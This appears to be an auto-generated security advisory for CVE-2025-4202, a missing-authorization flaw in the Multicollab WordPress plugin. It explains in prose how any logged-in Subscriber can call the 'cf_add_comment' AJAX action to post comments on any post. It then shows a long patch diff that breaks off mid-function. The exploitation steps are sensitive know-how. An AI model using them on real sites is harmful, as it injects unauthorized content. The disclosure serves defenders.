Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 15, 2026

CVE-2025-4202: Multicollab: Content Team Collaboration and Editorial Workflow <= 5.2 – Missing Authorization to Authenticated (Subscriber+) Collaboration Comment (commenting-feature)

CVE ID CVE-2025-4202
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 5.2
Patched Version 5.3
Disclosed May 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-4202:
This vulnerability allows authenticated attackers with Subscriber-level access or higher to add comments to arbitrary collaborations in the Multicollab plugin for WordPress. The issue resides in the AJAX handler for the ‘cf_add_comment’ function, which lacks a capability check before processing comment submissions. The plugin versions up to and including 5.2 are affected. The CVSS score is 4.3 (Medium), reflecting the low complexity but requirement for authentication.

Root Cause:
The plugin registers an AJAX action ‘cf_add_comment’ in the file commenting-feature/admin/classes/class-commenting-block-admin.php. In the vulnerable version, the function handling this action does not perform any authorization check to verify that the requesting user has the ability to edit the post or that they have the ‘multicollab_permission_add_comment’ capability. The code diff shows the introduction of new authorization methods like ‘multicollab_verify_ajax_comment_on_post’ which checks ‘current_user_can( ‘edit_post’, $post_id )’, and ‘multicollab_verify_ajax_settings_request’ which checks ‘manage_options’. These were entirely absent in the vulnerable version. The missing capability check on the ‘cf_add_comment’ function allows any authenticated user to call it, regardless of their role or the post’s edit permissions.

Exploitation:
An attacker can exploit this by sending a POST request to /wp-admin/admin-ajax.php with the action parameter set to ‘cf_add_comment’ and including the required parameters such as ‘postID’ and ‘commentList’ (JSON-encoded comment data). The ‘commentList’ parameter contains the comment content and metadata. Since the function does not verify the user’s capability to edit the specified post or use the commenting feature, a Subscriber-level user can submit comments on any post, page, or custom post type that has collaboration enabled. The attacker needs to be logged in with a valid WordPress account.

Patch Analysis:
The patch introduces two key verification methods: ‘multicollab_verify_ajax_comment_on_post’ which checks ‘current_user_can( ‘edit_post’, $post_id )’ before processing the comment, and ‘multicollab_verify_ajax_settings_request’ which checks ‘current_user_can( ‘manage_options’ )’ for admin settings. Additionally, the permission option keys were updated from ‘cf_permission_add_comment’ to ‘multicollab_permission_add_comment’, and the code now uses the ‘multicollab_json_decode_array_from_post’ method with a whitelist of allowed keys. The patch also includes a new function ‘multicollab_sanitize_add_comment_item’ for sanitizing comment data. These changes ensure that only users with appropriate edit permissions on the target post can add comments.

Impact:
If exploited, authenticated attackers with only Subscriber-level access can add arbitrary comments to any post or page that has collaboration comments enabled. This can lead to unauthorized content injection, spamming of collaboration threads, and potential disruption of editorial workflows. The vulnerability does not allow direct privilege escalation or data exfiltration, but it undermines the access control mechanisms designed to restrict commenting to authorized users.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/commenting-feature/admin/assets/css/index.php
+++ b/commenting-feature/admin/assets/css/index.php
@@ -1 +1,5 @@
-<?php // Silence is golden
 No newline at end of file
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly
+}
+// Silence is golden.
 No newline at end of file
--- a/commenting-feature/admin/classes/class-commenting-block-activities.php
+++ b/commenting-feature/admin/classes/class-commenting-block-activities.php
@@ -1,7 +1,6 @@
 <?php
-// If this file is called directly, abort.
-if ( ! defined( 'WPINC' ) ) {
-	die;
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly
 }

 /**
@@ -10,7 +9,7 @@
  * @link       #
  * @since      1.3.0
  *
- * @package    content-collaboration-inline-commenting
+ * @package    commenting-feature
  */
 class Commenting_Block_Activities extends Commenting_block_Functions {

@@ -22,23 +21,51 @@
     private $cf_activities = array();

 	/**
+	 * Map report status keys to translated labels (only string literals for gettext).
+	 *
+	 * @param string $status Status label.
+	 * @return string
+	 */
+	protected function multicollab_get_translated_report_status_label( $status ) {
+		if ( 'New Comment' === $status ) {
+			return __( 'New Comment', 'commenting-feature' );
+		}
+		if ( 'Replied' === $status ) {
+			return __( 'Replied', 'commenting-feature' );
+		}
+		if ( 'Deleted' === $status ) {
+			return __( 'Deleted', 'commenting-feature' );
+		}
+		if ( 'Marked as Resolved' === $status ) {
+			return __( 'Marked as Resolved', 'commenting-feature' );
+		}
+		if ( 'Resolved' === $status ) {
+			return __( 'Resolved', 'commenting-feature' );
+		}
+		if ( 'Edited' === $status ) {
+			return __( 'Edited', 'commenting-feature' );
+		}
+		return esc_html( $status );
+	}
+
+	/**
 	 * Get the latest activities of comments.
 	 *
 	 * @return array Activity data.
 	 */
-	public function cf_get_activities() {
+	public function multicollab_get_activities() {

 		$view = filter_input( INPUT_GET, 'view', FILTER_SANITIZE_SPECIAL_CHARS );

 		// Page/Post Activity.
 		if ( 'post-activity' === $view ) {
-			return $this->cf_get_cpt_activity();
+			return $this->multicollab_get_cpt_activity();
 		} else {
-			return $this->cf_get_site_activity();
+			return $this->multicollab_get_site_activity();
 		}
 	}

-	public function cf_get_cpt_activity() {
+	public function multicollab_get_cpt_activity() {

 		global $wpdb;

@@ -74,7 +101,7 @@
 		}

 		if ( $cpt_filter ) {
-			$query .= $wpdb->prepare( " AND p.post_type = '%s'", $cpt_filter );
+			$query .= $wpdb->prepare( ' AND p.post_type = %s', $cpt_filter );
 		}

 		if ( $m_filter ) {
@@ -87,16 +114,14 @@
 		// Get total counts.
 		$query_all   = $query . ' ORDER BY meta_value DESC';
 		$query_all   = str_replace( $query_replace, 'SELECT count(p.ID)', $query_all );
-		$found_posts = $wpdb->get_var( $query_all ); //phpcs:ignore
-		wp_reset_query();
+		$found_posts = $wpdb->get_var( $query_all ); //phpcs:ignore

 		$order  = filter_input( INPUT_GET, 'order', FILTER_SANITIZE_SPECIAL_CHARS );
 		$order  = $order ?? 'DESC';
 		$query .= " ORDER BY pm.meta_value $order $limit_query";
 		$result = $wpdb->get_results( $query ); //phpcs:ignore
-		wp_reset_query();

-		$cf_edd = new CF_EDD();
+		$cf_edd = new Multicollab_EDD();
 		// The Loop
 		$activities_data = array();
 		if ((is_array($result) && !empty($result)) || (is_object($result) && !empty((array)$result))) {
@@ -104,7 +129,7 @@
 			foreach ( $result as $item ) {
 				$current_post_id = $item->ID;

-				$prepareDataTable = $this->cf_comments_history( $current_post_id );
+				$prepareDataTable = $this->multicollab_comments_history( $current_post_id );
 				$prepare_data     = array();

 				// Title.
@@ -113,19 +138,13 @@
 				$prepare_data['title'] = '<a href="' . $link . '">' . $title . '</a>';

 				// Get comments counts.
-				$comments_count_data = $this->cf_get_comment_counts( $current_post_id );
-				// Get suggestions counts.
-				$suggestions_count_data = $this->cf_get_suggestion_counts( $current_post_id );
-
-				// Merge counts.
-				$comments_count_data['open_counts']  = $comments_count_data['open_counts'] + $suggestions_count_data['open_counts'];
-				$comments_count_data['total_counts'] = $comments_count_data['total_counts'] + $suggestions_count_data['total_counts'];
+				$comments_count_data = $this->multicollab_get_comment_counts( $current_post_id );

-				$resolved_total                 = $comments_count_data['resolved_counts'] + $suggestions_count_data['accepted_counts'] + $suggestions_count_data['rejected_counts'];
+				$resolved_total                 = $comments_count_data['resolved_counts'];
 				$autodraft_total                = $comments_count_data['total_counts'] - ( $comments_count_data['open_counts'] + $resolved_total );
-				$comments_count                 = '<div class="open-comments">' . $comments_count_data['open_counts'] . ' <span>' . __( 'Open', 'content-collaboration-inline-commenting' ) . '</span></div>';
-				$comments_count                .= '<div class="resolved-comments">' . $resolved_total . ' <span>' . __( 'Resolved', 'content-collaboration-inline-commenting' ) . '</span></div>';
-				$comments_count                .= '<div class="total-comments">' . ( $comments_count_data['total_counts'] - $autodraft_total ) . ' <span>' . __( 'Total', 'content-collaboration-inline-commenting' ) . '</span></div>';
+				$comments_count                 = '<div class="open-comments">' . $comments_count_data['open_counts'] . ' <span>' . __( 'Open', 'commenting-feature' ) . '</span></div>';
+				$comments_count                .= '<div class="resolved-comments">' . $resolved_total . ' <span>' . __( 'Resolved', 'commenting-feature' ) . '</span></div>';
+				$comments_count                .= '<div class="total-comments">' . ( $comments_count_data['total_counts'] - $autodraft_total ) . ' <span>' . __( 'Total', 'commenting-feature' ) . '</span></div>';
 				$prepare_data['comments_count'] = $comments_count;

 				// Activities.
@@ -187,7 +206,12 @@
 								}
 									$collaborators[]       = "<span class='tbl-user-avatar'><img src=" . esc_url( $item['profileURL'] ) . "  alt='" . esc_attr( $item['username'] ) . "' />" . esc_html( $item['username'] ) . '</span>';
 									$single_collaborator   = "<div class='user-data-header'> <div class='user-avatar'><img src=" . esc_url( $item['profileURL'] ) . "  alt='" . esc_attr( $item['username'] ) . "' /></div><div class='user-display-name'><span class='user-name'>" . esc_html( $item['username'] ) . "<span class='tooltip'>" . esc_html( $item['userrole'] ) . '</span> </span>' . $dtTime . '</div></div>';
-									$activity_text        .= "<div class='single-activity'><span class='single-activity-status'>" . sprintf( __( '%s By', 'content-collaboration-inline-commenting' ), __( $status, 'content-collaboration-inline-commenting' ) ) . '</span>' . $single_collaborator;
+									$status_by_label = sprintf(
+										/* translators: %s: Activity status label before the word "By". */
+										esc_html__( '%s By', 'commenting-feature' ),
+										$this->multicollab_get_translated_report_status_label( $status )
+									);
+									$activity_text        .= "<div class='single-activity'><span class='single-activity-status'>" . $status_by_label . '</span>' . $single_collaborator;
 									$commented_text_class  = empty( $item['commented_on_text'] ) ? 'empty' : '';
 									$commented_text_class .= isset( $item['mode'] ) ? ' ' . $item['mode'] : '';
 									$commented_text_class .= isset( $item['blockType'] ) ? $item['blockType'] : '';
@@ -197,9 +221,6 @@
 								} else {
 									$activity_text .= "<span class='tbl-user-comment'> " . wp_kses( $thread, wp_kses_allowed_html( 'post' ) ) . '</span>';
 								}
-								if ( $cf_edd->is__premium_only() ) {
-									$activity_text .= ( isset( $item['attachmentText'] ) && '' !== $item['attachmentText'] ) ? "<br/><span class='tbl-user-comment-attachment'>" . wp_kses( $item['attachmentText'], wp_kses_allowed_html( 'post' ) ) . '</span>' : ''; // Removed phpcs:ignore by Rishi Shah.
-								}
 									$activity_text .= '</div></div>';
 							}
 						}
@@ -225,7 +246,7 @@
 		);
 	}

-	public function cf_get_cpt_activity_report() {
+	public function multicollab_get_cpt_activity_report() {

 		global $wpdb;

@@ -260,7 +281,7 @@
 		}

 		if ( $cpt_filter ) {
-			$query .= $wpdb->prepare( " AND p.post_type = '%s'", $cpt_filter );
+			$query .= $wpdb->prepare( ' AND p.post_type = %s', $cpt_filter );
 		}

 		if ( $m_filter ) {
@@ -273,24 +294,22 @@
 		// Get total counts.
 		$query_all   = $query . ' ORDER BY meta_value DESC';
 		$query_all   = str_replace( $query_replace, 'SELECT count(p.ID)', $query_all );
-		$found_posts = $wpdb->get_var( $query_all ); //phpcs:ignore
-		wp_reset_query();
+		$found_posts = $wpdb->get_var( $query_all ); //phpcs:ignore

 		$order  = filter_input( INPUT_GET, 'order', FILTER_SANITIZE_SPECIAL_CHARS );
 		$order  = $order ?? 'DESC';
 		$query .= " ORDER BY pm.meta_value $order $limit_query";
 		$result = $wpdb->get_results( $query ); //phpcs:ignore
-		wp_reset_query();

 		// The Loop
-		$cf_edd          = new CF_EDD();
+		$cf_edd          = new Multicollab_EDD();
 		$activities_data = array();
 		if ((is_array($result) && !empty($result)) || (is_object($result) && !empty((array)$result))) {

 			foreach ( $result as $item ) {
 				$current_post_id = $item->ID;

-				$prepareDataTable = $this->cf_comments_history( $current_post_id );
+				$prepareDataTable = $this->multicollab_comments_history( $current_post_id );
 				$prepare_data     = array();

 				// Title.
@@ -299,24 +318,17 @@
 				$prepare_data['title'] = '<a href="' . $link . '">' . $title . '</a>';

 				// Get comments counts.
-				$comments_count_data = $this->cf_get_comment_counts( $current_post_id );
-				// Get suggestions counts.
-				$suggestions_count_data = $this->cf_get_suggestion_counts( $current_post_id );
-
-				// Merge counts.
-				$comments_count_data['open_counts']  = $comments_count_data['open_counts'] + $suggestions_count_data['open_counts'];
-				$comments_count_data['total_counts'] = $comments_count_data['total_counts'] + $suggestions_count_data['total_counts'];
+				$comments_count_data = $this->multicollab_get_comment_counts( $current_post_id );

-				$resolved_total                 = $comments_count_data['resolved_counts'] + $suggestions_count_data['accepted_counts'] + $suggestions_count_data['rejected_counts'];
+				$resolved_total                 = $comments_count_data['resolved_counts'];
 				$autodraft_total                = $comments_count_data['total_counts'] - ( $comments_count_data['open_counts'] + $resolved_total );
-				$comments_count                 = '<div class="open-comments">' . $comments_count_data['open_counts'] . ' <span>' . __( 'Open', 'content-collaboration-inline-commenting' ) . '</span></div>';
-				$comments_count                .= '<div class="resolved-comments">' . $resolved_total . ' <span>' . __( 'Resolved', 'content-collaboration-inline-commenting' ) . '</span></div>';
-				$comments_count                .= '<div class="total-comments">' . ( $comments_count_data['total_counts'] - $autodraft_total ) . ' <span>' . __( 'Total', 'content-collaboration-inline-commenting' ) . '</span></div>';
+				$comments_count                 = '<div class="open-comments">' . $comments_count_data['open_counts'] . ' <span>' . __( 'Open', 'commenting-feature' ) . '</span></div>';
+				$comments_count                .= '<div class="resolved-comments">' . $resolved_total . ' <span>' . __( 'Resolved', 'commenting-feature' ) . '</span></div>';
+				$comments_count                .= '<div class="total-comments">' . ( $comments_count_data['total_counts'] - $autodraft_total ) . ' <span>' . __( 'Total', 'commenting-feature' ) . '</span></div>';
 				$prepare_data['comments_count'] = $comments_count;

 				// Activities.
 				$collaborators          = array();
-				$realtime_collaborators = array();
 				$activity_text          = '';
 				$activity_limit         = 3;
 				$activity_count         = 0;
@@ -372,7 +384,12 @@
 								}
 									$collaborators[]       = "<span class='tbl-user-avatar'><img src=" . esc_url( $item['profileURL'] ) . "  alt='" . esc_attr( $item['username'] ) . "' />" . esc_html( $item['username'] ) . '</span>';
 									$single_collaborator   = "<div class='user-data-header'> <div class='user-avatar'><img src=" . esc_url( $item['profileURL'] ) . "  alt='" . esc_attr( $item['username'] ) . "' /></div><div class='user-display-name'><span class='user-name'>" . esc_html( $item['username'] ) . "<span class='tooltip'>" . esc_html( $item['userrole'] ) . '</span> </span>' . $dtTime . '</div></div>';
-									$activity_text        .= "<div class='single-activity'><span class='single-activity-status'>" . sprintf( __( '%s By', 'content-collaboration-inline-commenting' ), __( $status, 'content-collaboration-inline-commenting' ) ) . '</span>' . $single_collaborator;
+									$status_by_label = sprintf(
+										/* translators: %s: Activity status label before the word "By". */
+										esc_html__( '%s By', 'commenting-feature' ),
+										$this->multicollab_get_translated_report_status_label( $status )
+									);
+									$activity_text        .= "<div class='single-activity'><span class='single-activity-status'>" . $status_by_label . '</span>' . $single_collaborator;
 									$commented_text_class  = empty( $item['commented_on_text'] ) ? 'empty' : '';
 									$commented_text_class .= isset( $item['mode'] ) ? ' ' . $item['mode'] : '';
 									$commented_text_class .= isset( $item['blockType'] ) ? $item['blockType'] : '';
@@ -382,9 +399,6 @@
 								} else {
 									$activity_text .= "<span class='tbl-user-comment'> " . wp_kses( $thread, wp_kses_allowed_html( 'post' ) ) . '</span>';
 								}
-								if ( $cf_edd->is__premium_only() ) {
-									$activity_text        .= (isset( $item['attachmentText'] )&& '' !== $item['attachmentText'] ) ? 	"<br/><span class='tbl-user-comment-attachment'>". wp_kses( $item['attachmentText'], wp_kses_allowed_html( 'post' ) ) ."</span>" : ''; //phpcs:ignore
-								}
 									$activity_text .= '</div></div>';
 							}
 						}
@@ -392,37 +406,6 @@
 				}
 				$prepare_data['activities'] = $activity_text;

-				$collaboratorHistory = get_post_meta( $current_post_id, '_realtime_collaborators_activity', true );
-				$collaboratorHistory = json_decode( $collaboratorHistory );
-				$collaboratorHistory = (array) $collaboratorHistory;
-				$collaboratorHistory = array_filter(
-					$collaboratorHistory,
-					function ( $value ) {
-						return property_exists( $value, 'timestamp' );
-					}
-				);
-
-				$collaboratorHistory = array_filter(
-					$collaboratorHistory,
-					function ( $collab ) {
-						return $collab->type === 'Joined';
-					}
-				);
-
-				$collaboratorHistory = array_values( $collaboratorHistory );
-
-				if ((is_array($collaboratorHistory) && !empty($collaboratorHistory)) || (is_object($collaboratorHistory) && !empty((array)$collaboratorHistory))) {
-					foreach ( $collaboratorHistory as  $collaborator ) {
-						$collaborator             = (array) $collaborator;
-						$user_info                = get_userdata( $collaborator['userId'] );
-						$profile_url              = isset( $user_info->user_email ) ? get_avatar_url( $user_info->user_email ) : '';
-						$username                 = isset( $user_info->display_name ) ? $user_info->display_name : '';
-						$realtime_collaborators[] = "<span class='tbl-user-avatar'><img src=" . esc_url( $profile_url ) . "  alt='" . esc_attr( $username ) . "' />" . esc_html( $username ) . '</span>';
-					}
-				}
-
-				$collaborators = ! empty( $realtime_collaborators ) ? $realtime_collaborators : $collaborators;
-
 				// Collaborators.
 				$collaborators                 = array_unique( $collaborators );
 				$collaborators                 = implode( $collaborators );
@@ -441,7 +424,7 @@
 		);
 	}

-	public function cf_get_site_activity() {
+	public function multicollab_get_site_activity() {
 		global $wpdb;

 		$cpt = filter_input( INPUT_GET, 'cpt', FILTER_SANITIZE_SPECIAL_CHARS );
@@ -471,7 +454,7 @@
 		$post_cpt        = filter_input( INPUT_POST, 'cpt', FILTER_SANITIZE_SPECIAL_CHARS );
 		$cat             = empty( $cat ) ? $category_id : $cat;
 		$cpt             = empty( $cpt ) ? sanitize_text_field( isset( $post_cpt ) ? $post_cpt : '' ) : $cpt; // Removed phpcs:ignore by Rishi Shah.
-		$autodrat_id_str = $this->cf_find_autodraft_id();
+		$autodrat_id_str = $this->multicollab_find_autodraft_id();

 		$query  = "SELECT pm.*  FROM $wpdb->postmeta as pm ";
 		$query .= " LEFT JOIN $wpdb->posts as p ON pm.post_id = p.ID ";
@@ -480,22 +463,20 @@
 			$query .= " LEFT JOIN $wpdb->term_relationships as tr ON pm.post_id = tr.object_id";
 		}

-		$cf_edd = new CF_EDD();
-		if ( $cf_edd->is__premium_only() ) {
-			$query .= $wpdb->remove_placeholder_escape( $wpdb->prepare( " WHERE pm.meta_key LIKE '%s' AND LENGTH(pm.meta_value) = 10", 'th_%' ) );
-			$query .= ' AND pm.meta_key NOT IN ('.$autodrat_id_str.')';
-		} else {
-			$query .= $wpdb->remove_placeholder_escape( $wpdb->prepare( " WHERE pm.meta_key LIKE '%s' OR pm.meta_key LIKE '%s' AND LENGTH(pm.meta_value) = 10", 'th_rc_joined%', 'th_el%') );
+		$cf_edd = new Multicollab_EDD();
+			$like_rc = 'th_rc_joined%';
+			$like_el = 'th_el%';
+			$query   .= $wpdb->remove_placeholder_escape( $wpdb->prepare( ' WHERE ( pm.meta_key LIKE %s OR pm.meta_key LIKE %s ) AND LENGTH(pm.meta_value) = 10', $like_rc, $like_el ) );

-			$query .= ' AND pm.meta_key NOT IN ('.$autodrat_id_str.')';
-		}
+			$query .= ' AND pm.meta_key NOT IN (' . $autodrat_id_str . ')';
+

 		if ( $cat ) {
 			$query .= $wpdb->prepare( ' AND tr.term_taxonomy_id	 = %d', $cat );
 		}

 		if ( $cpt ) {
-			$query .= $wpdb->prepare( " AND p.post_type = '%s'", $cpt );
+			$query .= $wpdb->prepare( ' AND p.post_type = %s', $cpt );
 		}

 		if ( $m ) {
@@ -503,17 +484,16 @@
 		}

 		$query    .= " ORDER BY pm.meta_value DESC LIMIT {$limit} OFFSET {$offset}";
-		$all_metas = $wpdb->get_results( $query ); //phpcs:ignore
-		wp_reset_query();
+		$all_metas = $wpdb->get_results( $query ); //phpcs:ignore

 		// If no data found.
 		if ( 0 === count( $all_metas ) ) {
 			if ( 0 === $offset ) {
 				// If no data found on load.
-				return '<p>' . esc_html__( 'No activities found.', 'content-collaboration-inline-commenting' ) . '</p>';
+				return '<p>' . esc_html__( 'No activities found.', 'commenting-feature' ) . '</p>';
 			} else {
 				// If no data found on load.
-				echo '<p>' . esc_html__( 'No more activities.', 'content-collaboration-inline-commenting' ) . '</p>';
+				echo '<p>' . esc_html__( 'No more activities.', 'commenting-feature' ) . '</p>';
 				wp_die();
 			}
 		}
@@ -541,25 +521,27 @@
 		}
 	}

-	public function cf_find_autodraft_id() {
+	public function multicollab_find_autodraft_id() {

 		global $wpdb;
 		$autodraft_ids = array();
 		$meta_key      = '_autodraft_ids';
 		$autodrat_id_str = '';

+		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- Joined postmeta read to build autodraft ID list; no single meta API for this pattern.
 		$autodrafts_id = $wpdb->get_results(
 			$wpdb->prepare(
 				"SELECT pm.meta_value as ids  FROM $wpdb->postmeta as pm
 			LEFT JOIN $wpdb->posts as p ON pm.post_id = p.ID
-			WHERE pm.meta_key =  %s",$meta_key)//phpcs:ignore
-		); // db call ok; no-cache ok
+			WHERE pm.meta_key =  %s",$meta_key )
+		);
+		// phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching

 		if ((is_array($autodrafts_id) && !empty($autodrafts_id)) || (is_object($autodrafts_id) && !empty((array)$autodrafts_id))) {
 			foreach ( $autodrafts_id as $id ) {
 				$ids = ( maybe_unserialize( $id->ids ) );
 				if ( isset( $ids ) && ! empty( $ids ) ) {
-					foreach ( $ids as $id ) {
+					foreach ( (array) $ids as $id ) {
 						array_push( $autodraft_ids, $id );
 					}
 				}
@@ -570,17 +552,19 @@
 		return $autodrat_id_str;
 	}

-	public function cf_get_detailed_activity() {
+	public function multicollab_get_detailed_activity() {
 		global $wpdb;

 		// will be used in the included file.
 		$activity_view = 'cf-detail-view'; // Removed phpcs:ignore by Rishi Shah.
 		$post_id       = filter_input( INPUT_POST, 'postID', FILTER_VALIDATE_INT ); // will (also) be used in the included file.

-		$all_metas = $wpdb->get_results(
-			$wpdb->prepare( "SELECT * FROM $wpdb->postmeta WHERE meta_key LIKE 'th_%' AND post_id = %d ORDER BY meta_value DESC", $post_id )
-		); // db call ok; no-cache ok
-		wp_reset_query();
+		$like_th_keys = 'th_%';
+		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- Detail view loads thread meta keys by LIKE prefix; get_metadata does not support LIKE.
+		$all_metas     = $wpdb->get_results(
+			$wpdb->prepare( "SELECT * FROM $wpdb->postmeta WHERE meta_key LIKE %s AND post_id = %d ORDER BY meta_value DESC", $like_th_keys, $post_id )
+		);
+		// phpcs:enable WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching

 		$this->cf_activities = $all_metas;

@@ -589,107 +573,4 @@
 		wp_die();
 	}

-	public function cf_migrate_to_pro_now() {
-		global $wpdb;
-
-		// th_'s value should be 10 digits / if not, need to be migrated.
-		// count suggestions board from suggestions single meta (_sb_suggestion_history)
-		// + count comments boards (_el*) === count th_ board having exact value of 10 digits (th_*)
-		// if both values are not same, migration is required.
-		$post_id              = filter_input( INPUT_POST, 'postID', FILTER_VALIDATE_INT ); // will (also) be used in the included file.
-		$suggestions_included = filter_input( INPUT_POST, 'suggestionsIncluded', FILTER_VALIDATE_BOOLEAN ); // will (also) be used in the included file.
-
-		$pending       = $data = array();
-		$migrated_post = 0;
-		// If post id is 0, means need to find post ids.
-		if ( 0 === $post_id ) {
-
-			if ( $suggestions_included ) {
-				$where_suggestions = "OR pm.meta_key = '_sb_suggestion_history'";
-			}
-
-			$post_ids = $wpdb->get_col(  //phpcs:ignore
-				$wpdb->prepare( "SELECT DISTINCT p.ID FROM $wpdb->posts as p LEFT JOIN $wpdb->postmeta as pm ON pm.post_id = p.ID WHERE pm.meta_key LIKE '_el%' $where_suggestions" )); //phpcs:ignore
-
-			if ((is_array($post_ids) && !empty($post_ids)) || (is_object($post_ids) && !empty((array)$post_ids))) {
-				foreach ( $post_ids as $post_id ) {
-
-					$total_suggestions = 0;
-					if ( $suggestions_included ) {
-						$suggestions_meta = get_post_meta( $post_id, '_sb_suggestion_history', true );
-						$suggestions_meta = json_decode( $suggestions_meta );
-
-						$total_suggestions = count( (array) $suggestions_meta );
-					}
-					$total_comments = (int) $wpdb->get_var(
-						$wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->postmeta WHERE meta_key LIKE '_el%' AND post_id = %d", $post_id )
-					); // db call ok; no-cache ok
-
-					$total_should_be                       = $total_suggestions + $total_comments;
-					$data[ $post_id ]['total_comments']    = $total_comments;
-					$data[ $post_id ]['total_suggestions'] = $total_suggestions;
-					$data[ $post_id ]['total_should_be']   = $total_should_be;
-
-					$th_exists = (int) $wpdb->get_var(
-						$wpdb->prepare(
-							"SELECT COUNT(*) FROM $wpdb->postmeta
-							WHERE meta_key LIKE 'th_%'
-							  AND LENGTH ( meta_value ) = 10
-							  AND post_id = %d",
-							$post_id
-						)
-					); // db call ok; no-cache ok
-
-					$data[ $post_id ]['th_exists'] = $th_exists;
-
-					if ( $th_exists >= $total_should_be ) {
-						$data[ $post_id ]['status'] = 'done';
-					} else {
-						$data[ $post_id ]['status'] = 'pending';
-
-						$pending[] = $post_id;
-					}
-				}
-			}
-			$pending = implode( ',', $pending );
-			wp_reset_query();
-
-		} else {
-			// Got the id to migrate.
-			if ( $suggestions_included ) {
-				$suggestions_meta = get_post_meta( $post_id, '_sb_suggestion_history', true );
-				$suggestions_meta = json_decode( $suggestions_meta );
-
-				// Create/Update 'th_*' metas for suggestions.
-				if ((is_array($suggestions_meta) && !empty($suggestions_meta)) || (is_object($suggestions_meta) && !empty((array)$suggestions_meta))) {
-					foreach ( $suggestions_meta as $uid => $item ) {
-						$timestamp = $item[0]->updated_at;
-						update_post_meta( $post_id, 'th_' . $uid, $timestamp );
-					}
-				}
-			}
-
-			// Create/Update 'th_*' metas for comments.
-			$all_comments = $wpdb->get_results(
-				$wpdb->prepare( "SELECT * FROM $wpdb->postmeta WHERE meta_key LIKE '_el%' AND post_id = %d", $post_id )
-			); // db call ok; no-cache ok
-			if ((is_array($all_comments) && !empty($all_comments)) || (is_object($all_comments) && !empty((array)$all_comments))) {
-				foreach ( $all_comments as $item ) {
-					$key  = 'th' . $item->meta_key;
-					$data = maybe_unserialize( $item->meta_value );
-					update_post_meta( $post_id, $key, $data['updated_at'] );
-				}
-			}
-			$migrated_post = $post_id;
-		}
-
-		echo wp_json_encode(
-			array(
-				'data'         => $data,
-				'pending'      => $pending,
-				'migratedPost' => $migrated_post,
-			)
-		);
-		wp_die();
-	}
 }
--- a/commenting-feature/admin/classes/class-commenting-block-admin.php
+++ b/commenting-feature/admin/classes/class-commenting-block-admin.php
@@ -1,7 +1,6 @@
 <?php
-// If this file is called directly, abort.
-if ( ! defined( 'WPINC' ) ) {
-	die;
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly
 }
 /**
  * The admin-specific functionality of the plugin.
@@ -9,7 +8,7 @@
  * @link       #
  * @since      1.0.0
  *
- * @package    content-collaboration-inline-commenting
+ * @package    commenting-feature
  */

 class Commenting_block_Admin extends Commenting_block_Functions {
@@ -45,13 +44,167 @@
 	public $cf_activities_object;

 	private static $allowed_attribute_tags = array( 'content', 'citation', 'caption', 'value', 'values', 'fileName', 'text', 'downloadButtonText' );
-	private static $cf_permission_options  = array( 'cf_permission_add_comment', 'cf_permission_resolved_comment', 'cf_permission_add_suggestion', 'cf_permission_resolved_suggestion' );
+	private static $multicollab_permission_option_keys = array( 'multicollab_permission_add_comment', 'multicollab_permission_resolved_comment' );
 	/**
 	 * Initiate basename .
 	 */
 	static $basename = null;

 	/**
+	 * Block-editor settings / dashboard forms using multicollabBlockEditorAjax.nonce.
+	 *
+	 * @return void
+	 */
+	private function multicollab_verify_ajax_settings_request() {
+		check_ajax_referer( 'multicollab_block_editor_ajax', 'nonce' );
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_die( -1, '', array( 'response' => 403 ) );
+		}
+	}
+
+	/**
+	 * Comment AJAX using multicollabAdminL10n.nonce (COMMENTING_NONCE) — must be able to edit the post.
+	 *
+	 * @param int $post_id Post ID.
+	 * @return void
+	 */
+	private function multicollab_verify_ajax_comment_on_post( $post_id ) {
+		$post_id = (int) $post_id;
+		if ( $post_id <= 0 || ! current_user_can( 'edit_post', $post_id ) ) {
+			wp_die( -1, '', array( 'response' => 403 ) );
+		}
+	}
+
+	/**
+	 * JSON-decode a string from POST.
+	 *
+	 * Uses $_POST (after caller runs check_ajax_referer). Avoids filter_input()
+	 * truncation/LIMIT issues and avoids wp_check_invalid_utf8() before decode — stripping
+	 * invalid UTF-8 can corrupt JSON strings (mentions, i18n names, emoji in HTML).
+	 *
+	 * @param string $post_key Allowed POST field name.
+	 * @return array|null Decoded array or null.
+	 */
+	private function multicollab_json_decode_array_from_post( $post_key ) {
+		$allowed_keys = array( 'commentList', 'editedComment' );
+		if ( ! in_array( $post_key, $allowed_keys, true ) ) {
+			return null;
+		}
+		// phpcs:disable WordPress.Security.NonceVerification.Missing -- Only called from multicollab_add_comment / multicollab_update_comment after check_ajax_referer().
+		if ( ! isset( $_POST[ $post_key ] ) ) {
+			return null;
+		}
+		$raw = wp_unslash( $_POST[ $post_key ] );
+		// phpcs:enable WordPress.Security.NonceVerification.Missing
+		if ( ! is_string( $raw ) || '' === $raw ) {
+			return null;
+		}
+		$decoded = json_decode( $raw, true );
+		if ( JSON_ERROR_UTF8 === json_last_error() ) {
+			$raw     = wp_check_invalid_utf8( $raw, true );
+			$decoded = json_decode( $raw, true );
+		}
+		if ( JSON_ERROR_NONE !== json_last_error() || ! is_array( $decoded ) ) {
+			return null;
+		}
+		return $decoded;
+	}
+
+	/**
+	 * Sanitize a single "add comment" item after JSON decode.
+	 *
+	 * @param array $item Raw item.
+	 * @return array
+	 */
+	private function multicollab_sanitize_add_comment_item( $item ) {
+		if ( ! is_array( $item ) ) {
+			return array();
+		}
+		return array(
+			'commentedOnText' => isset( $item['commentedOnText'] ) ? sanitize_textarea_field( (string) $item['commentedOnText'] ) : '',
